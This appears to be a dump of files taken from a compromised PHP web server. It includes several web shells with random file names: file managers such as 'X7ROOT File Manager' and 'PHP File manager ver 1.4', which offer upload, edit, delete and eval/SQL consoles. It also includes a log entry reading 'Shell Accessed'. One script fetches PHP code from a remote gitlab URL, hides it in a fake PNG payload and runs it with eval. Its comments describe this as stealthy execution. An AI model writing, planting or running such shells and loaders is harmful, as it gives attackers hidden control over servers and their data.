margin-right: 10px;
}
.folder-row {
background: #f0f8ff;
}
.folder-row:hover {
background: #e3f2fd !important;
}
.action-buttons {
display: flex;
gap: 8px;
flex-wrap: wrap;
}
.empty-folder {
text-align: center;
padding: 60px 20px;
color: #7f8c8d;
}
.empty-folder i {
font-size: 3em;
margin-bottom: 20px;
display: block;
}
.upload-form, .folder-form {
display: flex;
gap: 10px;
align-items: center;
}
input[type="text"], input[type="file"] {
padding: 10px;
border: 1px solid #bdc3c7;
border-radius: 6px;
font-size: 14px;
}
input[type="text"] {
min-width: 200px;
}
@media (max-width: 768px) {
.toolbar {
flex-direction: column;
}
.upload-form, .folder-form {
flex-direction: column;
align-items: stretch;
}
.action-buttons {
flex-direction: column;
}
.btn {
justify-content: center;
}
}
</style>
</head>
<body>
<div class="container">
<div class="header">
<h1>📁 File Manager</h1>
<div class="current-path">
📍 <?= htmlspecialchars($current_dir) ?>
</div>
</div>
<div class="navigation">
<div class="toolbar">
<!-- Back Button -->
<a class="btn" href="?action=list&dir=<?= urlencode($parent_dir) ?>">
⬅️ Back
</a>
<!-- Home Button -->
<a class="btn btn-secondary" href="?action=list&dir=<?= urlencode(basename($base_dir)) ?>">
🏠 Project
</a>
<!-- Root Button -->
<a class="btn btn-secondary" href="?action=list&dir=">
📂 Root
</a>
<!-- Upload Form -->
<form method="post" enctype="multipart/form-data" action="?action=upload&dir=<?= urlencode($requested_dir) ?>" class="upload-form">
<input type="file" name="file" required>
<button class="btn btn-success" type="submit">📤 Upload</button>
</form>
<!-- Create Folder Form -->
<form method="post" action="?action=create_folder&dir=<?= urlencode($requested_dir) ?>" class="folder-form">
<input type="text" name="folder_name" placeholder="New Folder Name" required>
<button class="btn btn-success" type="submit">📁 Create Folder</button>
</form>
</div>
</div>
<div class="breadcrumb">
<a href="?action=list&dir=">Root</a>
<?php foreach($dir_parts as $p): ?>
<span>›</span>
<a href="?action=list&dir=<?= urlencode($p['path']) ?>"><?= htmlspecialchars($p['name']) ?></a>
<?php endforeach; ?>
</div>
<?php
$files = get_file_list($current_dir);
if(empty($files)):
?>
<div class="empty-folder">
<i>📭</i>
<h3>This folder is empty</h3>
<p>Upload files or create new folders to get started</p>
</div>
<?php else: ?>
<table class="file-table">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Size</th>
<th>Modified</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php foreach($files as $f): ?>
<tr class="<?= $f['type'] === 'directory' ? 'folder-row' : '' ?>">
<td>
<span class="file-icon">
<?= $f['type'] === 'directory' ? '📁' : '📄' ?>
</span>
<?= htmlspecialchars($f['name']) ?>
</td>
<td><?= $f['type'] ?></td>
<td><?= $f['type'] === 'directory' ? '-' : format_size($f['size']) ?></td>
<td><?= $f['modified'] ?></td>
<td>
<div class="action-buttons">
<?php if($f['type'] === 'directory'):
$next_rel = ($requested_dir !== '' ? $requested_dir . '/' : '') . $f['name'];
?>
<a class="btn" href="?action=list&dir=<?= urlencode($next_rel) ?>">
📂 Open
</a>
<?php else: ?>
<a class="btn" href="?action=edit&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">
✏️ Edit
</a>
<a class="btn btn-secondary" href="?action=download&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">
📥 Download
</a>
<?php endif; ?>
<a class="btn btn-danger" href="?action=delete&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>"
onclick="return confirm('Are you sure you want to delete <?= htmlspecialchars($f['name']) ?>?')">
🗑️ Delete
</a>
</div>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<?php endif; ?>
</div>
<script>
// Add some interactive features
document.addEventListener('DOMContentLoaded', function() {
// Add confirmation for delete actions
const deleteLinks = document.querySelectorAll('a[href*="action=delete"]');
deleteLinks.forEach(link => {
link.addEventListener('click', function(e) {
if (!confirm('Are you sure you want to delete this item?')) {
e.preventDefault();
}
});
});
// Add hover effects
const rows = document.querySelectorAll('.file-table tr');
rows.forEach(row => {
row.addEventListener('mouseenter', function() {
this.style.transform = 'translateX(5px)';
this.style.transition = 'transform 0.2s ease';
});
row.addEventListener('mouseleave', function() {
this.style.transform = 'translateX(0)';
});
});
});
</script>
</body>
</html>PK �9m\�f�r� � samurai_activity.lognu �[��� [2026-03-13 08:57:47] IP: 57.141.2.32 | Action: Shell Accessed | Target: 57.141.2.32 | Status: info | UA: meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)
PK �9m\���� � 8x2gj.phpnu �[��� <?php
@ini_set('display_errors', 0);
@set_time_limit(0);
error_reporting(0);
function safe($s) {
return htmlspecialchars($s, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}
function formatSize($bytes) {
$units = ['B','KB','MB','GB','TB'];
for ($i = 0; $bytes >= 1024 && $i < count($units)-1; $i++) {
$bytes /= 1024;
}
return round($bytes, 2).' '.$units[$i];
}
$cwd = isset($_GET['path']) ? $_GET['path'] : getcwd();
$cwd = realpath($cwd);
// Handle upload
if (isset($_POST['upload']) && isset($_FILES['file'])) {
$target = $cwd . '/' . basename($_FILES['file']['name']);
if (@move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
echo "<div style='color:#0f0'>[+] File uploaded successfully.</div>";
} else {
echo "<div style='color:#f00'>[-] Upload failed.</div>";
}
}
// Handle file edit save
if (isset($_POST['save']) && isset($_POST['filename'])) {
$path = $cwd.'/'.basename($_POST['filename']);
if (@file_put_contents($path, $_POST['content']) !== false) {
echo "<div style='color:#0f0'>[+] File saved successfully.</div>";
} else {
echo "<div style='color:#f00'>[-] Failed to save file.</div>";
}
}
// Handle create directory
if (isset($_POST['mkdir']) && isset($_POST['dirname'])) {
$dirName = basename($_POST['dirname']);
$fullPath = $cwd . '/' . $dirName;
if (!file_exists($fullPath)) {
if (@mkdir($fullPath)) {
echo "<div style='color:#0f0'>[+] Directory created.</div>";
} else {
echo "<div style='color:#f00'>[-] Failed to create directory.</div>";
}
} else {
echo "<div style='color:#f90'>[!] Directory already exists.</div>";
}
}
echo "<!DOCTYPE html><html lang='en'><head><meta charset='UTF-8'><title>File Manager</title><style>
body { background:#0d0d0d; color:#ccc; font-family:monospace; padding:20px; }
a { color:#5af; text-decoration:none; }
a:hover { text-decoration:underline; }
input, textarea, select { background:#111; color:#0f0; border:1px solid #444; padding:5px; width:100%; }
input[type=submit] { background:#222; color:#0f0; border:1px solid #0f0; cursor:pointer; }
hr { border:none; border-top:1px solid #333; margin:20px 0; }
.dir { color:#0ff; }
.file { color:#fff; }
.size { color:#999; float:right; }
h2 { margin:0 0 10px 0; }
</style></head><body>";
echo "<h2>X7ROOT File Manager</h2>";
echo "<b>Current Path:</b> ".safe($cwd)."<hr>";
// Show navigation
$parts = explode(DIRECTORY_SEPARATOR, $cwd);
$nav = "";
$build = "";
foreach ($parts as $p) {
if ($p == "") continue;
$build .= "/$p";
$nav .= "<a href='?path=".urlencode($build)."'>".safe($p)."</a> / ";
}
echo $nav."<hr>";
// File listing
$files = @scandir($cwd);
echo "<ul style='list-style:none;padding:0;'>";
foreach ($files as $f) {
if ($f == ".") continue;
$fp = $cwd.'/'.$f;
if (is_dir($fp)) {
echo "<li class='dir'>📠<a href='?path=".urlencode($fp)."'>".safe($f)."</a></li>";
} else {
echo "<li class='file'>📄 <a href='?path=".urlencode($cwd)."&edit=".urlencode($f)."'>".safe($f)."</a><span class='size'>(".formatSize(filesize($fp)).")</span></li>";
}
}
echo "</ul><hr>";
// Edit file
if (isset($_GET['edit'])) {
$file = basename($_GET['edit']);
$full = $cwd.'/'.$file;
if (file_exists($full)) {
$content = @file_get_contents($full);
echo "<h3>Editing: ".safe($file)."</h3>";
echo "<form method='post'>";
echo "<input type='hidden' name='filename' value='".safe($file)."'>";
echo "<textarea name='content' rows='15'>".safe($content)."</textarea><br>";
echo "<input type='submit' name='save' value='Save File'>";
echo "</form><hr>";
}
}
// Upload
echo "<h3>Upload File</h3>";
echo "<form method='post' enctype='multipart/form-data'>";
echo "<input type='file' name='file'><br>";
echo "<input type='submit' name='upload' value='Upload'>";
echo "</form><hr>";
// Create folder
echo "<h3>Create Folder</h3>";
echo "<form method='post'>";
echo "<input type='text' name='dirname' placeholder='New folder name'>";
echo "<input type='submit' name='mkdir' value='Create'>";
echo "</form>";
echo "</body></html>";PK �9m\�K�V� � dr80q.phpnu �[��� <?php
session_start();
// ----[ Konfigurasi Awal ]----
$currentDir = realpath(isset($_GET['path']) ? $_GET['path'] : __DIR__);
if (!is_dir($currentDir)) {
die("Direktori tidak ditemukan.");
}
function deleteDir($dirPath) {
if (!is_dir($dirPath)) return unlink($dirPath);
foreach (scandir($dirPath) as $item) {
if ($item === '.' || $item === '..') continue;
deleteDir($dirPath . DIRECTORY_SEPARATOR . $item);
}
return rmdir($dirPath);
}
// Rename
if (isset($_POST['rename'], $_POST['oldname'], $_POST['newname'])) {
$old = $currentDir . DIRECTORY_SEPARATOR . $_POST['oldname'];
$new = $currentDir . DIRECTORY_SEPARATOR . $_POST['newname'];
if (file_exists($old)) rename($old, $new);
}
// Hapus
if (isset($_GET['delete'])) {
$target = realpath($currentDir . DIRECTORY_SEPARATOR . $_GET['delete']);
if (strpos($target, $currentDir) === 0 || file_exists($target)) {
deleteDir($target);
}
header("Location: ?path=" . urlencode($currentDir));
exit;
}
// Download
if (isset($_GET['download'])) {
$file = $currentDir . DIRECTORY_SEPARATOR . $_GET['download'];
if (is_file($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}
}
// View/Edit
if (isset($_GET['view'])) {
$file = $currentDir . DIRECTORY_SEPARATOR . $_GET['view'];
if (is_file($file)) {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
file_put_contents($file, $_POST['content']);
echo "<p>File disimpan.</p>";
}
$content = htmlspecialchars(file_get_contents($file));
echo "<h3>Edit: ".basename($file)."</h3>";
echo "<form method='post'><textarea name='content' rows='20' cols='100'>{$content}</textarea><br><button type='submit'>Simpan</button></form>";
echo "<p><a href='?path=".urlencode($currentDir)."'>Kembali</a></p>";
exit;
}
}
// Upload
if (isset($_FILES['upload']) && $_FILES['upload']['error'] === UPLOAD_ERR_OK) {
$tmpName = $_FILES['upload']['tmp_name'];
$name = basename($_FILES['upload']['name']);
move_uploaded_file($tmpName, $currentDir . DIRECTORY_SEPARATOR . $name);
header("Location: ?path=" . urlencode($currentDir));
exit;
}
$items = scandir($currentDir);
?>
<h2>File Manager</h2>
<p>Path: <?= htmlspecialchars($currentDir) ?></p>
<p><a href="?path=<?= urlencode(dirname($currentDir)) ?>">⬅️ Kembali</a></p>
<form method="post" enctype="multipart/form-data">
<input type="file" name="upload" required>
<button type="submit">Unggah</button>
</form>
<table border="1" cellpadding="5">
<tr><th>Nama</th><th>Aksi</th><th>Rename</th></tr>
<?php foreach ($items as $item):
if ($item === '.' || $item === '..') continue;
$path = $currentDir . DIRECTORY_SEPARATOR . $item;
$isDir = is_dir($path);
?>
<tr>
<td><?= $isDir ? "📁" : "📄" ?> <?= $isDir ? "<a href='?path=" . urlencode($path) . "'>$item</a>" : $item ?></td>
<td>
<?php if (!$isDir): ?>
<a href="?path=<?= urlencode($currentDir) ?>&download=<?= urlencode($item) ?>">Download</a> |
<a href="?path=<?= urlencode($currentDir) ?>&view=<?= urlencode($item) ?>">View/Edit</a> |
<?php endif; ?>
<a href="?path=<?= urlencode($currentDir) ?>&delete=<?= urlencode($item) ?>" onclick="return confirm('Yakin hapus?')">Hapus</a>
</td>
<td>
<form method="post" style="display:inline;">
<input type="hidden" name="oldname" value="<?= htmlspecialchars($item) ?>">
<input type="text" name="newname" value="<?= htmlspecialchars($item) ?>" required>
<button type="submit" name="rename">Ubah</button>
</form>
</td>
</tr>
<?php endforeach; ?>
</table>
<style>
body { font-family: sans-serif; }
table { border-collapse: collapse; width: 100%; }
td, th { padding: 5px; text-align: left; }
</style>PK �9m\��'� ispq1-20260308013116.phpnu �[��� <?php
/*
Improved PNG disguise for hidden PHP payloads.
This script fetches remote code, embeds it into a realistic PNG file,
and executes it stealthily.
*/
session_start();
// Main remote code URL (can be overridden by session)
$mainUrl = $_SESSION['ts_url'] ?? 'https://gitlab.com/mrgithub89-group/mrgithub89-projectaa/-/raw/main/wp-security.php';
// --------------------------------------------
// 1. Generate a realistic PNG image (128x128)
// --------------------------------------------
function generateRealisticPngHeader($width = 128, $height = 128) {
ob_start();
$image = imagecreatetruecolor($width, $height);
// Fill with random noise
for ($x = 0; $x < $width; $x++) {
for ($y = 0; $y < $height; $y++) {
$color = imagecolorallocate($image, rand(0,255), rand(0,255), rand(0,255));
imagesetpixel($image, $x, $y, $color);
}
}
imagepng($image);
imagedestroy($image);
return ob_get_clean(); // Binary PNG data
}
// --------------------------------------------
// 2. Load remote PHP code from given URL
// --------------------------------------------
function loadRemoteData($url) {
$content = '';
try {
$file = new SplFileObject($url);
while (!$file->eof()) {
$content .= $file->fgets();
}
} catch (Throwable $e) {
$content = '';
}
if (strlen(trim($content)) < 1) {
$content = @file_get_contents($url);
}
if (strlen(trim($content)) < 1 && function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_CONNECTTIMEOUT => 5,
CURLOPT_TIMEOUT => 10,
]);
$content = curl_exec($ch);
curl_close($ch);
}
return $content;
}
// --------------------------------------------
// 3. Create payload by appending hidden PHP code
// --------------------------------------------
function createStealthPayload($phpCode) {
$png = generateRealisticPngHeader();
$marker = '###PAYLOAD###';
$encoded = base64_encode($phpCode);
return $png . $marker . $encoded;
}
// --------------------------------------------
// 4. Extract and execute hidden payload
// --------------------------------------------
function extractAndExecutePayload($data) {
$marker = '###PAYLOAD###';
$parts = explode($marker, $data);
if (count($parts) === 2) {
$decoded = base64_decode($parts[1]);
if ($decoded !== false && strlen(trim($decoded)) > 0) {
@eval("?>$decoded");
}
}
}
// --------------------------------------------
// Main Execution Flow
// --------------------------------------------
$remoteCode = loadRemoteData($mainUrl);
if (strlen(trim($remoteCode)) > 0) {
$payload = createStealthPayload($remoteCode);
extractAndExecutePayload($payload); // Executes hidden remote code
}
?>
PK �9m\���7�5 �5 vf6tc.phpnu �[��� <?php
/* PHP File manager ver 1.4 */
// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration
// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;
//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0;
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';
// Little default config
$fm_default_config = array (
'make_directory' => true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false, //if true, show directory size → maybe slow
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false, // show path to current php.ini
'show_gt' => true, // show generation time
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);
// Change language
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)){
foreach ($lang_priority as $lang_arr){
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if(in_array($lng,$langs)){
$language = $lng;
break;
}
}
}
}
// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];
// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
$get_lang = file_get_contents('https://raw.githubusercontent.com/fahriyzx/Filemanager/master/languages/' . $language . '.json');
if (!empty($get_lang)) {
//remove unnecessary characters
$translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
$fgc = file_get_contents(__FILE__);
$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
$lang = json_decode($translation_string,true);
}
}
/* Functions */
//translation
function __($text){
global $lang;
if (isset($lang[$text])) return $lang[$text];
else return $text;
};
//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
if($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if($el != '.' && $el != '..'){
fm_del_files($file . '/' . $el, true);
}
}
}
if(@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
//file perms
function fm_rights_string($file, $if = false){
$perms = fileperms($file);
$info = '';
if(!$if){
if (($perms & 0xC000) == 0xC000) {
//Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
//Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
//Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
//Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
//Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
//Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
//Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
//Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fm_convert_rights($mode) {
$mode = str_pad($mode,9,'-');
$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
$mode = strtr($mode,$trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if(@is_dir($file) && $rec){
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val, true);
}
}
return $res;
}
//load files
function fm_download($file_name) {
if (!empty($file_name)) {
if (file_exists($file_name)) {
header("Content-Disposition: attachment; filename=" . basename($file_name));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file_name));
flush(); // this doesn't really matter.
$fp = fopen($file_name, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush(); // this is essential for large downloads
}
fclose($fp);
die();
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die();
}
}
}
//show folder size
function fm_dir_size($f,$format=true) {
if($format) {
$size=fm_dir_size($f,false);
if($size<=1024) return $size.' bytes';
elseif($size<=1024*1024) return round($size/(1024),2).' Kb';
elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb';
elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb';
elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:)))
else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-)
} else {
if(is_file($f)) return filesize($f);
$size=0;
$dh=opendir($f);
while(($file=readdir($dh))!==false) {
if($file=='.' || $file=='..') continue;
if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
else $size+=fm_dir_size($f.'/'.$file,false);
}
closedir($dh);
return $size+filesize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
$dir = $ndir = array();
if(!empty($exp)){
$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
}
if(!empty($type) && $type !== 'all'){
$func = 'is_' . $type;
}
if(@is_dir($directory)){
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if(substr($filename, 0, 1) != '.' || $do_not_filter) {
if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get,$link,$name,$title='') {
if (empty($title)) $title=$name.' '.basename($link);
return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}
function fm_arr_to_option($arr,$n,$sel=''){
foreach($arr as $v){
$b=$v[$n];
$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
}
return $res;
}
function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
</select>
</form>
';
}
function fm_root($dirname){
return ($dirname=='.' OR $dirname=='..');
}
function fm_php($string){
$display_errors=ini_get('display_errors');
ini_set('display_errors', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errors', $display_errors);
return $text;
}
//SHOW DATABASES
function fm_sql_connect(){
global $fm_config;
return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}
function fm_sql($query){
global $fm_config;
$query=trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
ob_end_clean();
return $connection->connect_error;
}
$connection->set_charset('utf8');
$queried = mysqli_query($connection,$query);
if ($queried===false) {
ob_end_clean();
return mysqli_error($connection);
} else {
if(!empty($queried)){
while($row = mysqli_fetch_assoc($queried)) {
$query_result[]= $row;
}
}
$vdump=empty($query_result)?'':var_export($query_result,true);
ob_end_clean();
$connection->close();
return '<pre>'.stripslashes($vdump).'</pre>';
}
}
function fm_backup_tables($tables = '*', $full_backup = true) {
global $path;
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
if($tables == '*') {
$tables = array();
$result = $mysqldb->query('SHOW TABLES');
while($row = mysqli_fetch_row($result)) {
$tables[] = $row[0];
}
} else {
$tables = is_array($tables) ? $tables : explode(',',$tables);
}
$return='';
foreach($tables as $table) {
$result = $mysqldb->query('SELECT * FROM '.$table);
$num_fields = mysqli_num_fields($result);
$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
$return.=$row2[1].$delimiter;
if ($full_backup) {
for ($i = 0; $i < $num_fields; $i++) {
while($row = mysqli_fetch_row($result)) {
$return.= 'INSERT INTO `'.$table.'` VALUES(';
for($j=0; $j<$num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace("\n","\\n",$row[$j]);
if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ')'.$delimiter;
}
}
} else {
$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
}
$return.="\n\n\n";
}
//save file
$file=gmdate("Y-m-d_H-i-s",time()).'.sql';
$handle = fopen($file,'w+');
fwrite($handle,$return);
fclose($handle);
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"';
return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}
function fm_restore_tables($sqlFileToExecute) {
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
// Load and explode the sql file
$f = fopen($sqlFileToExecute,"r+");
$sqlFile = fread($f,filesize($sqlFileToExecute));
$sqlArray = explode($delimiter,$sqlFile);
//Process the sql file by statements
foreach ($sqlArray as $stmt) {
if (strlen($stmt)>3){
$result = $mysqldb->query($stmt);
if (!$result){
$sqlErrorCode = mysqli_errno($mysqldb->connection);
$sqlErrorText = mysqli_error($mysqldb->connection);
$sqlStmt = $stmt;
break;
}
}
}
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}
function fm_img_link($filename){
return './'.basename(__FILE__).'?img='.base64_encode($filename);
}
function fm_home_style(){
return '
input, input.fm_input {
text-indent: 2px;
}
input, textarea, select, input.fm_input {
color: black;
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border-color: black;
background-color: #FCFCFC none !important;
border-radius: 0;
padding: 2px;
}
input.fm_input {
background: #FCFCFC none !important;
cursor: pointer;
}
.home {
